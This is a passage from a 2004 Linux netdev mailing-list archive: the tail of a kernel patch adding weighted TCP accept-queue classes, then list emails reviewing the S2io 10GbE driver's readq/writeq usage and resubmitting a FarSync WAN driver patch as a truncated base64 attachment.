(copy_from_user(share_wt,optval, optlen)) { + err = -EFAULT; + break; + } + j = 0; + for (i = 0; i < NUM_ACCEPT_QUEUES; i++) { + if (share_wt[i]) { + if (!j) + j = share_wt[i]; + else if (share_wt[i] < j) { + j = share_wt[i]; + } + tp->acceptq[i].aq_valid = 1; + } + else + tp->acceptq[i].aq_valid = 0; + + } + if (j == 0) { + /* Class 0 is always valid. If nothing is + * specified set class 0 as 1. + */ + share_wt[0] = 1; + tp->acceptq[0].aq_valid = 1; + j = 1; + } + for (i=0; i < NUM_ACCEPT_QUEUES; i++) { + tp->acceptq[i].aq_ratio = share_wt[i]/j; + tp->acceptq[i].aq_cnt = 0; + } + } + break; +#endif default: err = -ENOPROTOOPT; @@ -2555,6 +2666,41 @@ case TCP_QUICKACK: val = !tp->ack.pingpong; break; + +#ifdef CONFIG_ACCEPT_QUEUES + case TCP_ACCEPTQ_SHARE: { + struct tcp_acceptq_info tinfo[NUM_ACCEPT_QUEUES]; + int i; + + if (sk->sk_state != TCP_LISTEN) + return -EOPNOTSUPP; + + if (get_user(len, optlen)) + return -EFAULT; + + memset(tinfo, 0, sizeof(tinfo)); + + for(i=0; i < NUM_ACCEPT_QUEUES; i++) { + tinfo[i].acceptq_wait_time = + tp->acceptq[i].aq_wait_time/(HZ/USER_HZ); + tinfo[i].acceptq_qcount = tp->acceptq[i].aq_qcount; + tinfo[i].acceptq_count = tp->acceptq[i].aq_count; + if (tp->acceptq[i].aq_valid) + tinfo[i].acceptq_shares=tp->acceptq[i].aq_ratio; + else + tinfo[i].acceptq_shares = 0; + } + + len = min_t(unsigned int, len, sizeof(tinfo)); + if (put_user(len, optlen)) + return -EFAULT; + + if (copy_to_user(optval, (char *)tinfo, len)) + return -EFAULT; + + return 0; + } +#endif default: return -ENOPROTOOPT; }; diff -urN linux-2.6.3_old/net/ipv4/tcp_ipv4.c linux-2.6.3/net/ipv4/tcp_ipv4.c --- linux-2.6.3_old/net/ipv4/tcp_ipv4.c 2004-02-17 19:57:22.000000000 -0800 +++ linux-2.6.3/net/ipv4/tcp_ipv4.c 2004-02-29 23:59:09.000000000 -0800 @@ -916,7 +916,11 @@ lopt->syn_table[h] = req; write_unlock(&tp->syn_wait_lock); +#ifdef CONFIG_ACCEPT_QUEUES + tcp_synq_added(sk, req); +#else tcp_synq_added(sk); +#endif } @@ -1413,6 +1417,9 @@ __u32 daddr = skb->nh.iph->daddr; __u32 isn = TCP_SKB_CB(skb)->when; struct dst_entry *dst = NULL; +#ifdef CONFIG_ACCEPT_QUEUES + int class = 0; +#endif #ifdef CONFIG_SYN_COOKIES int want_cookie = 0; #else @@ -1437,12 +1444,32 @@ goto drop; } +#ifdef CONFIG_ACCEPT_QUEUES + class = (skb->nfmark <= 0) ? 0 : + ((skb->nfmark > NUM_ACCEPT_QUEUES) ? NUM_ACCEPT_QUEUES: + skb->nfmark); + /* + * Accept only if the class has shares set or if the default class + * i.e. class 0 has shares + */ + if (!(tcp_sk(sk)->acceptq[class].aq_valid)) { + if (tcp_sk(sk)->acceptq[0].aq_valid) + class = 0; + else + goto drop; + } +#endif + /* Accept backlog is full. If we have already queued enough * of warm entries in syn queue, drop request. It is better than * clogging syn queue with openreqs with exponentially increasing * timeout. */ +#ifdef CONFIG_ACCEPT_QUEUES + if (tcp_acceptq_is_full(sk, class) && tcp_synq_young(sk, class) > 1) +#else if (tcp_acceptq_is_full(sk) && tcp_synq_young(sk) > 1) +#endif goto drop; req = tcp_openreq_alloc(); @@ -1472,7 +1499,10 @@ tp.tstamp_ok = tp.saw_tstamp; tcp_openreq_init(req, &tp, skb); - +#ifdef CONFIG_ACCEPT_QUEUES + req->acceptq_class = class; + req->acceptq_time_stamp = jiffies; +#endif req->af.v4_req.loc_addr = daddr; req->af.v4_req.rmt_addr = saddr; req->af.v4_req.opt = tcp_v4_save_options(sk, skb); @@ -1567,7 +1597,11 @@ struct tcp_opt *newtp; struct sock *newsk; +#ifdef CONFIG_ACCEPT_QUEUES + if (tcp_acceptq_is_full(sk, req->acceptq_class)) +#else if (tcp_acceptq_is_full(sk)) +#endif goto exit_overflow; if (!dst && (dst = tcp_v4_route_req(sk, req)) == NULL) diff -urN linux-2.6.3_old/net/ipv4/tcp_minisocks.c linux-2.6.3/net/ipv4/tcp_minisocks.c --- linux-2.6.3_old/net/ipv4/tcp_minisocks.c 2004-02-17 19:58:56.000000000 -0800 +++ linux-2.6.3/net/ipv4/tcp_minisocks.c 2004-02-29 21:49:34.000000000 -0800 @@ -779,7 +779,14 @@ newtp->num_sacks = 0; newtp->urg_data = 0; newtp->listen_opt = NULL; +#ifdef CONFIG_ACCEPT_QUEUES + newtp->accept_queue = NULL; + memset(newtp->acceptq, 0,sizeof(newtp->acceptq)); + newtp->class_index = 0; + +#else newtp->accept_queue = newtp->accept_queue_tail = NULL; +#endif /* Deinitialize syn_wait_lock to trap illegal accesses. */ memset(&newtp->syn_wait_lock, 0, sizeof(newtp->syn_wait_lock)); diff -urN linux-2.6.3_old/net/ipv4/tcp_timer.c linux-2.6.3/net/ipv4/tcp_timer.c --- linux-2.6.3_old/net/ipv4/tcp_timer.c 2004-02-17 19:59:28.000000000 -0800 +++ linux-2.6.3/net/ipv4/tcp_timer.c 2004-02-27 17:38:55.000000000 -0800 @@ -498,7 +498,16 @@ * ones are about to clog our table. */ if (lopt->qlen>>(lopt->max_qlen_log-1)) { +#ifdef CONFIG_ACCEPT_QUEUES + int young = 0; + + for(i=0; i < NUM_ACCEPT_QUEUES; i++) + young += lopt->qlen_young[i]; + + young <<= 1; +#else int young = (lopt->qlen_young<<1); +#endif while (thresh > 2) { if (lopt->qlen < young) @@ -524,9 +533,12 @@ unsigned long timeo; if (req->retrans++ == 0) - lopt->qlen_young--; - timeo = min((TCP_TIMEOUT_INIT << req->retrans), - TCP_RTO_MAX); +#ifdef CONFIG_ACCEPT_QUEUES + lopt->qlen_young[req->acceptq_class]--; +#else + lopt->qlen_young--; +#endif + timeo = min((TCP_TIMEOUT_INIT << req->retrans), TCP_RTO_MAX); req->expires = now + timeo; reqp = &req->dl_next; continue; @@ -538,7 +550,11 @@ write_unlock(&tp->syn_wait_lock); lopt->qlen--; if (req->retrans == 0) - lopt->qlen_young--; +#ifdef CONFIG_ACCEPT_QUEUES + lopt->qlen_young[req->acceptq_class]--; +#else + lopt->qlen_young--; +#endif tcp_openreq_free(req); continue; } From raghavendra.koushik@wipro.com Mon Mar 1 05:05:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Mar 2004 05:06:09 -0800 (PST) Received: from wiproecmx2.wipro.com (wiproecmx2.wipro.com [164.164.31.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i21D5aKO007752 for ; Mon, 1 Mar 2004 05:05:40 -0800 Received: from ec-vwall-wd (ec-vwall-wd.wipro.com [10.200.52.125]) by wiproecmx2.wipro.com (8.12.9-20031013/8.12.9) with SMTP id i21D5SlU019929 for ; Mon, 1 Mar 2004 18:35:29 +0530 (IST) Received: from blr-ec-bh3.wipro.com ([10.200.50.93]) by ec-vwall-wd with InterScan Messaging Security Suite; Mon, 01 Mar 2004 18:36:43 +0530 Received: from blr-m3-msg.wipro.com ([10.114.50.99]) by blr-ec-bh3.wipro.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 1 Mar 2004 18:35:27 +0530 X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Submission #3 for S2io 10GbE driver Date: Mon, 1 Mar 2004 18:35:27 +0530 Message-ID: <4223A04BF7D1B941A25246ADD0462FF50115ADF9@blr-m3-msg.wipro.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Submission #3 for S2io 10GbE driver Thread-Index: AcP/Wff/fbVBm5XxRUWIKOkRQoO4BgAM6D6A From: To: , , Cc: X-OriginalArrivalTime: 01 Mar 2004 13:05:27.0554 (UTC) FILETIME=[DDF10E20:01C3FF8D] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i21D5aKO007752 X-archive-position: 3683 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: raghavendra.koushik@wipro.com Precedence: bulk X-list: netdev Hi Leonid, This automated signature will be gone from tomorrow. Our IMG guys are working on it and hopefully by then all mails going out from the s2io guys will not have this "Confidentiality Notice" :-). I have a few more questions to Jeff but I'am holding on to them till this is addressed. Just wanted to keep you posted on this issue. Regards Koushik -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com] Sent: Monday, March 01, 2004 12:24 PM To: Raghavendra Koushik (WT01 - EMBEDDED & PRODUCT ENGINEERING SOLUTIONS) Cc: leonid.grossman@s2io.com; netdev@oss.sgi.com; shemminger@osdl.org; hch@infradead.org; ravinandan.arakali@s2io.com; raghavendra.koushik@s2io.com Subject: Re: Submission #3 for S2io 10GbE driver raghavendra.koushik@wipro.com wrote: > Jeff, > Regarding Point # 37 > > >>>37) kill all of this: >>> >>>+/* OS related system calls */ >>>+ >>>+#ifndef readq >>>+static inline u64 read64(void *addr) >>>+{ >>>+ u64 ret = 0; >>>+ ret = readl(addr + 4); >>>+ (u64) ret <<= 32; >>>+ (u64) ret |= readl(addr); > > [....] > > I agree that read/write(32,16,8) are not used so can be eliminated, > but the read/write64 macros are essential because not all platforms > have defined the readq and writeq system calls. i386 for example > doesn't have readq/writeq and to write into the 64 bit registers of > the NIC, I use 2 successive 32 bits (readl/writel) operation to > achieve the 64 bit equivalent. This procedure does work on all the > platforms that we have tested on. The code should use the kernel API -- readq/writeq -- not define its own API. With regards to the missing readq/writeq on some architectures... Short term, if some arches do not provide readq/writeq, provide your own definition (i.e. rename your write64 to a conditionally-defined writeq). Long term, all Linux platforms need to provide readq/writeq, so we need to modify the architectures with the missing pieces. > Confidentiality Notice > > The information contained in this electronic message and any > attachments to this message are intended for the exclusive use of the > addressee(s) and may contain confidential or privileged information. > If you are not the intended recipient, please notify the sender at > Wipro or Mailadmin@wipro.com immediately and destroy all copies of > this message and any attachments. Oh really? ;-) You should talk to your lawyers and sysadmins about sending email to open source people and lists... Regards, Jeff From leonid.grossman@s2io.com Mon Mar 1 07:27:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Mar 2004 07:27:16 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i21FR8KO012355 for ; Mon, 1 Mar 2004 07:27:08 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i21FQxjF013510; Mon, 1 Mar 2004 10:26:59 -0500 (EST) Received: from lgt40 ([10.16.16.116]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i21FQvKK028157; Mon, 1 Mar 2004 10:26:57 -0500 (EST) From: "Leonid Grossman" To: , , Cc: Subject: RE: Submission #3 for S2io 10GbE driver Date: Mon, 1 Mar 2004 07:24:25 -0800 Message-ID: <000001c3ffa1$48643490$7410100a@S2IOtech.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal In-Reply-To: <4223A04BF7D1B941A25246ADD0462FF50115ADF9@blr-m3-msg.wipro.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: -101 X-Spam-Outlook-Score: () X-Spam-Features: IN_REP_TO,QUOTED_EMAIL_TEXT,USER_IN_WHITELIST X-Scanned-By: MIMEDefang 2.34 X-archive-position: 3684 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev > -----Original Message----- > From: raghavendra.koushik@wipro.com > [mailto:raghavendra.koushik@wipro.com] > Sent: Monday, March 01, 2004 5:05 AM > To: leonid.grossman@s2io.com; netdev@oss.sgi.com; > ravinandan.arakali@s2io.com > Cc: sriram.rapuru@wipro.com > Subject: RE: Submission #3 for S2io 10GbE driver > > > > Hi Leonid, > > > This automated signature will be gone from tomorrow. Our > IMG guys are working on it and hopefully by then all mails > going out from > > the s2io guys will not have this "Confidentiality Notice" > :-). I have a few more questions to Jeff but I'am holding on > to them till this is addressed. Just wanted to keep you > posted on this issue. Sounds good, thanks! There are cases when the notice is required by Wipro of course, but in general it's either a nuisance or plain illegal. Let me know if you need any help from my end to get it removed; alternative would be to use private (or s2io) addresses for Talking to open lists. Leonid > > Regards > Koushik > > > -----Original Message----- > From: Jeff Garzik [mailto:jgarzik@pobox.com] > > Sent: Monday, March 01, 2004 12:24 PM > To: Raghavendra Koushik (WT01 - EMBEDDED & PRODUCT > ENGINEERING SOLUTIONS) > Cc: leonid.grossman@s2io.com; netdev@oss.sgi.com; > shemminger@osdl.org; hch@infradead.org; > ravinandan.arakali@s2io.com; raghavendra.koushik@s2io.com > Subject: Re: Submission #3 for S2io 10GbE driver > > > raghavendra.koushik@wipro.com wrote: > > Jeff, > > Regarding Point # 37 > > > > > > > >>>37) kill all of this: > >>> > >>>+/* OS related system calls */ > >>>+ > >>>+#ifndef readq > >>>+static inline u64 read64(void *addr) > >>>+{ > >>>+ u64 ret = 0; > >>>+ ret = readl(addr + 4); > >>>+ (u64) ret <<= 32; > >>>+ (u64) ret |= readl(addr); > > > > > [....] > > > > > I agree that read/write(32,16,8) are not used so can be eliminated, > > > but the read/write64 macros are essential because not all platforms > > > have defined the readq and writeq system calls. i386 for example > > > doesn't have readq/writeq and to write into the 64 bit registers of > > > the NIC, I use 2 successive 32 bits (readl/writel) operation to > > > achieve the 64 bit equivalent. This procedure does work on all the > > > platforms that we have tested on. > > The code should use the kernel API -- readq/writeq -- not > define its own > > API. With regards to the missing readq/writeq on some > architectures... > > Short term, if some arches do not provide readq/writeq, > provide your own > > definition (i.e. rename your write64 to a > conditionally-defined writeq). > > Long term, all Linux platforms need to provide readq/writeq, > so we need > > to modify the architectures with the missing pieces. > > > > Confidentiality Notice > > > > > The information contained in this electronic message and any > > > attachments to this message are intended for the exclusive > use of the > > > addressee(s) and may contain confidential or privileged information. > > > If you are not the intended recipient, please notify the sender at > > > Wipro or Mailadmin@wipro.com immediately and destroy all copies of > > > this message and any attachments. > > Oh really? ;-) You should talk to your lawyers and sysadmins about > > sending email to open source people and lists... > > Regards, > > Jeff > > > > > Confidentiality Notice > > > The information contained in this electronic message and any > attachments to this message are intended for the exclusive > use of the addressee(s) and may contain confidential or > privileged information. If you are not the intended > recipient, please notify the sender at Wipro or > Mailadmin@wipro.com immediately and destroy all copies of > this message and any attachments. > From kevin.curtis@farsite.co.uk Mon Mar 1 08:06:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Mar 2004 08:06:27 -0800 (PST) Received: from relay5.ftech.net (relay5.ftech.net [195.200.0.100]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i21G6IKO013777 for ; Mon, 1 Mar 2004 08:06:19 -0800 Received: from opal.ftech.net ([212.32.16.127] helo=mailgate.ftech.net) by relay5.ftech.net with esmtp (Exim 3.36-ftechp12 #2) id 1Axntj-0006Yq-00; Mon, 01 Mar 2004 13:55:55 +0000 Received: from pc1.faradsl.ftech.co.uk ([212.32.46.162] helo=GENERAL.hq.farsitecommunications.com) by mailgate.ftech.net with esmtp (Exim 3.36-ftechp12 #1) id 1AxntY-00014J-00; Mon, 01 Mar 2004 13:55:44 +0000 Subject: RE: Update FarSync WAN driver in 2.6 Date: Mon, 1 Mar 2004 13:55:44 -0000 Message-ID: <7C078C66B7752B438B88E11E5E20E72E25CC1A@general.hq.farsitecommunications.com> X-MS-Has-Attach: yes MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_001_01C3FF94.E3FBAD9A" X-MS-TNEF-Correlator: Thread-Topic: Update FarSync WAN driver in 2.6 Thread-Index: AcP+9VRqHpr28/PlTpO8fXe/3pey7gAeAfzQAAnIc7A= From: "Kevin Curtis" content-class: urn:content-classes:message To: "Kevin Curtis" , "Jeff Garzik" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Cc: , X-archive-position: 3685 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kevin.curtis@farsite.co.uk Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------_=_NextPart_001_01C3FF94.E3FBAD9A Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Here is the modified patch. It installs against 2.6.4-pre1 Best get it in quick before net_device is given back to the hdlc layer again :-> Kevin -----Original Message----- From: Kevin Curtis=20 Sent: 01 March 2004 09:15 To: 'Jeff Garzik'; Kevin Curtis Cc: netdev@oss.sgi.com; davem@redhat.com Subject: RE: Update FarSync WAN driver in 2.6 Hi, looks as though the 2.6.4-pre1 patch has changed farsync.c, which is probably why the patch will not apply. I would re-work the patch against this release. What is the status of the 2.4.x patch that I sent a while back? I still need to make one more change to it. I need to know if to resend the whole patch, or a n additional patch with the change? Kevin -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com]=20 Sent: 29 February 2004 18:53 To: Kevin Curtis Cc: netdev@oss.sgi.com; davem@redhat.com Subject: Re: Update FarSync WAN driver in 2.6 hum... Patch looks OK to appy, but does not apply against the latest=20 2.6.x kernel. Also, it is possible to split your patch into two pieces: one patch=20 with nothing but indentation/whitespace cleanups, and the other patch=20 with functional changes? Jeff ------_=_NextPart_001_01C3FF94.E3FBAD9A Content-Type: application/octet-stream; name="farsync2.6.patch" Content-Transfer-Encoding: base64 Content-Description: farsync2.6.patch Content-Disposition: attachment; filename="farsync2.6.patch" ZGlmZiAtdXJOIGxpbnV4LTIuNi40LXByZTEtb3JpZy9kcml2ZXJzL25ldC93YW4vZmFyc3luYy5j IGxpbnV4L2RyaXZlcnMvbmV0L3dhbi9mYXJzeW5jLmMKLS0tIGxpbnV4LTIuNi40LXByZTEtb3Jp Zy9kcml2ZXJzL25ldC93YW4vZmFyc3luYy5jCTIwMDQtMDMtMDEgMDk6MTc6MDguMDAwMDAwMDAw ICswMDAwCisrKyBsaW51eC9kcml2ZXJzL25ldC93YW4vZmFyc3luYy5jCTIwMDQtMDMtMDEgMTI6 NTQ6MjIuMjk5Mjg1NzUyICswMDAwCkBAIC0xLDkgKzEsOSBAQAogLyoKLSAqICAgICAgRmFyU3lu YyBYMjEgZHJpdmVyIGZvciBMaW51eCAoZ2VuZXJpYyBIRExDIHZlcnNpb24pCisgKiAgICAgIEZh clN5bmMgV0FOIGRyaXZlciBmb3IgTGludXggKDIuNi54IGtlcm5lbCB2ZXJzaW9uKQogICoKICAq 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IEZhclNpdGUgQ29tbXVuaWNhdGlvbnMgTHRkICovCi0jZGVmaW5lIFQyUF9QQ0lfREVWSUNF X0lEICAgICAgIDB4MDQwMCAgLyogVDJQIFgyMSAyIHBvcnQgY2FyZCAqLwotI2RlZmluZSBUNFBf UENJX0RFVklDRV9JRCAgICAgICAweDA0NDAgIC8qIFQ0UCBYMjEgNCBwb3J0IGNhcmQgKi8KLQor I2RlZmluZSBGU1RfTUFYX0NBUkRTICAgICAgICAgICAzMgogCiAvKiAgICAgIERlZmF1bHQgcGFy YW1ldGVycyBmb3IgdGhlIGxpbmsKICAqLwotI2RlZmluZSBGU1RfVFhfUVVFVUVfTEVOICAgICAg ICAxMDAgICAgIC8qIEF0IDhNYnBzIGEgbG9uZ2VyIHF1ZXVlIGxlbmd0aCBpcwotICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIHVzZWZ1bCwgdGhlIHN5bmNwcHAgbW9k dWxlIGZvcmNlcwotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIHRo aXMgZG93biBhc3N1bWluZyBhIHNsb3dlciBsaW5lIEkKLSAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgKiBndWVzcy4KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgKi8KLSNkZWZpbmUgRlNUX01BWF9NVFUgICAgICAgICAgICAgODAwMCAgICAv KiBIdWdlIGJ1dCBwb3NzaWJsZSAqLwotI2RlZmluZSBGU1RfREVGX01UVSAgICAgICAgICAgICAx NTAwICAgIC8qIENvbW1vbiBzYW5lIHZhbHVlICovCisjZGVmaW5lIEZTVF9UWF9RVUVVRV9MRU4g ICAgICAgIDEwMAkvKiBBdCA4TWJwcyBhIGxvbmdlciBxdWV1ZSBsZW5ndGggaXMKKwkJCQkJICog dXNlZnVsLCB0aGUgc3luY3BwcCBtb2R1bGUgZm9yY2VzCisJCQkJCSAqIHRoaXMgZG93biBhc3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yAgICAgIC8qIEhpZ2ggb3JkZXIgYWRkcmVzcy4gTG93IDQgYml0 cyBvbmx5LCBoaWdoIDQKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogYml0cyBt dXN0IGJlIHplcm8KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICovCi0gICAgICAg IHZvbGF0aWxlIHU4ICBiaXRzOyAgICAgIC8qIFN0YXR1cyBhbmQgY29uZmlnICovCi0gICAgICAg IHZvbGF0aWxlIHUxNiBiY250OyAgICAgIC8qIDJzIGNvbXBsZW1lbnQgb2YgcGFja2V0IHNpemUg aW4gbG93IDE1IGJpdHMuCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIFRyYW5z bWl0IHRlcm1pbmFsIGNvdW50IGludGVycnVwdCBlbmFibGUgaW4KLSAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICogdG9wIGJpdC4KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICovCi0gICAgICAgICAgICAgICAgIHUxNiB1bnVzZWQ7ICAgIC8qIE5vdCB1c2VkIGluIFR4 ICovCitzdHJ1Y3QgdHhkZXNjIHsJCQkvKiBUcmFuc21pdCBkZXNjcmlwdG9yICovCisJdm9sYXRp bGUgdTE2IGxhZHI7CS8qIExvdyBvcmRlciBhZGRyZXNzIG9mIHBhY2tldC4gVGhpcyBpcyBhCisJ CQkJICogbGluZWFyIGFkZHJlc3MgaW4gdGhlIEFtMTg2IG1lbW9yeSBzcGFjZQorCQkJCSAqLwor CXZvbGF0aWxlIHU4IGhhZHI7CS8qIEhpZ2ggb3JkZXIgYWRkcmVzcy4gTG93IDQgYml0cyBvbmx5 LCBoaWdoIDQKKwkJCQkgKiBiaXRzIG11c3QgYmUgemVybworCQkJCSAqLworCXZvbGF0aWxlIHU4 IGJpdHM7CS8qIFN0YXR1cyBhbmQgY29uZmlnICovCisJdm9sYXRpbGUgdTE2IGJjbnQ7CS8qIDJz IGNvbXBsZW1lbnQgb2YgcGFja2V0IHNpemUgaW4gbG93IDE1IGJpdHMuCisJCQkJICogVHJhbnNt aXQgdGVybWluYWwgY291bnQgaW50ZXJydXB0IGVuYWJsZSBpbgorCQkJCSAqIHRvcCBiaXQuCisJ CQkJICovCisJdTE2IHVudXNlZDsJCS8qIE5vdCB1c2VkIGluIFR4ICovCiB9OwogCi1zdHJ1Y3Qg cnhkZXNjIHsgICAgICAgICAgICAgICAgIC8qIFJlY2VpdmUgZGVzY3JpcHRvciAqLwotICAgICAg ICB2b2xhdGlsZSB1MTYgbGFkcjsgICAgICAvKiBMb3cgb3JkZXIgYWRkcmVzcyBvZiBwYWNrZXQg Ki8KLSAgICAgICAgdm9sYXRpbGUgdTggIGhhZHI7ICAgICAgLyogSGlnaCBvcmRlciBhZGRyZXNz ICovCi0gICAgICAgIHZvbGF0aWxlIHU4ICBiaXRzOyAgICAgIC8qIFN0YXR1cyBhbmQgY29uZmln ICovCi0gICAgICAgIHZvbGF0aWxlIHUxNiBiY250OyAgICAgIC8qIDJzIGNvbXBsZW1lbnQgb2Yg YnVmZmVyIHNpemUgaW4gbG93IDE1IGJpdHMuCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAqIFJlY2VpdmUgdGVybWluYWwgY291bnQgaW50ZXJydXB0IGVuYWJsZSBpbgotICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgKiB0b3AgYml0LgotICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgKi8KLSAgICAgICAgdm9sYXRpbGUgdTE2IG1jbnQ7ICAgICAgLyogTWVz c2FnZSBieXRlIGNvdW50ICgxNSBiaXRzKSAqLworc3RydWN0IHJ4ZGVzYyB7CQkJLyogUmVjZWl2 ZSBkZXNjcmlwdG9yICovCisJdm9sYXRpbGUgdTE2IGxhZHI7CS8qIExvdyBvcmRlciBhZGRyZXNz IG9mIHBhY2tldCAqLworCXZvbGF0aWxlIHU4IGhhZHI7CS8qIEhpZ2ggb3JkZXIgYWRk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otI2RlZmluZSBSWF9DUkMgICAgICAgICAgMHgw OCAgICAgICAgICAgIC8qIFJ4OiBDUkMgZXJyb3IgKi8KLSNkZWZpbmUgUlhfSEJVRiAgICAgICAg IDB4MDQgICAgICAgICAgICAvKiBSeDogYnVmZmVyIGVycm9yICovCi0jZGVmaW5lIFJYX1NUUCAg ICAgICAgICAweDAyICAgICAgICAgICAgLyogUng6IHN0YXJ0IG9mIHBhY2tldCAqLwotI2RlZmlu ZSBSWF9FTlAgICAgICAgICAgMHgwMSAgICAgICAgICAgIC8qIFJ4OiBlbmQgb2YgcGFja2V0ICov Ci0KKyNkZWZpbmUgRE1BX09XTiAgICAgICAgIDB4ODAJLyogU21hcnRETUEgb3ducyB0aGUgZGVz Y3JpcHRvciAqLworI2RlZmluZSBUWF9TVFAgICAgICAgICAgMHgwMgkvKiBUeDogc3RhcnQgb2Yg cGFja2V0ICovCisjZGVmaW5lIFRYX0VOUCAgICAgICAgICAweDAxCS8qIFR4OiBlbmQgb2YgcGFj a2V0ICovCisjZGVmaW5lIFJYX0VSUiAgICAgICAgICAweDQwCS8qIFJ4OiBlcnJvciAoT1Igb2Yg bmV4dCA0IGJpdHMpICovCisjZGVmaW5lIFJYX0ZSQU0gICAgICAgICAweDIwCS8qIFJ4OiBmcmFt aW5nIGVycm9yICovCisjZGVmaW5lIFJYX09GTE8gICAgICAgICAweDEwCS8qIFJ4OiBvdmVyZmxv dyBlcnJvciAqLworI2RlZmluZSBSWF9DUkMgICAgICAgICAgMHgwOAkvKiBSeDogQ1JDIGVycm9y ICovCisjZGVmaW5lIFJYX0hCVUYgICAgICAgICAweDA0CS8qIFJ4OiBidWZmZXIgZXJyb3IgKi8K KyNkZWZpbmUgUlhfU1RQICAgICAgICAgIDB4MDIJLyogUng6IHN0YXJ0IG9mIHBhY2tldCAqLwor I2RlZmluZSBSWF9FTlAgICAgICAgICAgMHgwMQkvKiBSeDogZW5kIG9mIHBhY2tldCAqLwogCi0v KiBJbnRlcnJ1cHRzIG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zaGFrZTsJLyogU2V0IHRvIDB4MDEgYnkgYWRhcHRlciB0 byBzaWduYWwgaW50ZXJydXB0LAorCQkJCSAqIHNldCB0byAweEVFIGJ5IGhvc3QgdG8gYWNrbm93 bGVkZ2UgaW50ZXJydXB0CisJCQkJICovCiAKLSAgICAgICAgdTggIGludGVycnVwdEhhbmRzaGFr ZTsgLyogU2V0IHRvIDB4MDEgYnkgYWRhcHRlciB0byBzaWduYWwgaW50ZXJydXB0LAotICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBzZXQgdG8gMHhFRSBieSBob3N0IHRvIGFja25v d2xlZGdlIGludGVycnVwdAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8KKwl1 MTYgc21jVmVyc2lvbjsJCS8qIE11c3QgbWF0Y2ggU01DX1ZFUlNJT04gKi8KIAotICAgICAgICB1 MTYgc21jVmVyc2lvbjsgICAgICAgICAvKiBNdXN0IG1hdGNoIFNNQ19WRVJTSU9OICovCisJdTMy IHNtY0Zpcm13YXJlVmVyc2lvbjsJLyogMHhJSVZWUlJCQiB3aGVyZSBJSSA9IHByb2R1Y3QgSUQs IFZWID0gbWFqb3IKKwkJCQkgKiB2ZXJzaW9uLCBSUiA9IHJldmlzaW9uIGFuZCBCQiA9IGJ1aWxk CisJCQkJICovCiAKLSAgICAgICAgdTMyIHNtY0Zpcm13YXJlVmVyc2lvbjsgLyogMHhJSVZWUlJC QiB3aGVyZSBJSSA9IHByb2R1Y3QgSUQsIFZWID0gbWFqb3IKLSAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICogdmVyc2lvbiwgUlIgPSByZXZpc2lvbiBhbmQgQkIgPSBidWlsZAotICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8KKwl1MTYgdHhhX2RvbmU7CQkvKiBPYnNv bGV0ZSBjb21wbGV0aW9uIGZsYWdzICovCisJdTE2IHJ4YV9kb25lOworCXUxNiB0eGJfZG9uZTsK Kwl1MTYgcnhi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FYX1BPUlRTXVsy XTsgICAgICAvKiBjb21tYW5kLCBtb2RpZmllciAqLwotICAgICAgICB1MTYgY2FyZE1haWxib3hb NF07ICAgICAgICAgICAgICAgICAgICAgLyogTm90IHVzZWQgKi8KKwkvKiBOdW1iZXIgb2YgdGlt ZXMgdGhlIGNhcmQgdGhpbmtzIHRoZSBob3N0IGhhcworCSAqIG1pc3NlZCBhbiBpbnRlcnJ1cHQg Ynkgbm90IGFja25vd2xlZGdpbmcKKwkgKiB3aXRoaW4gMm1TIChJIGd1ZXNzIE5UIGhhcyBwcm9i 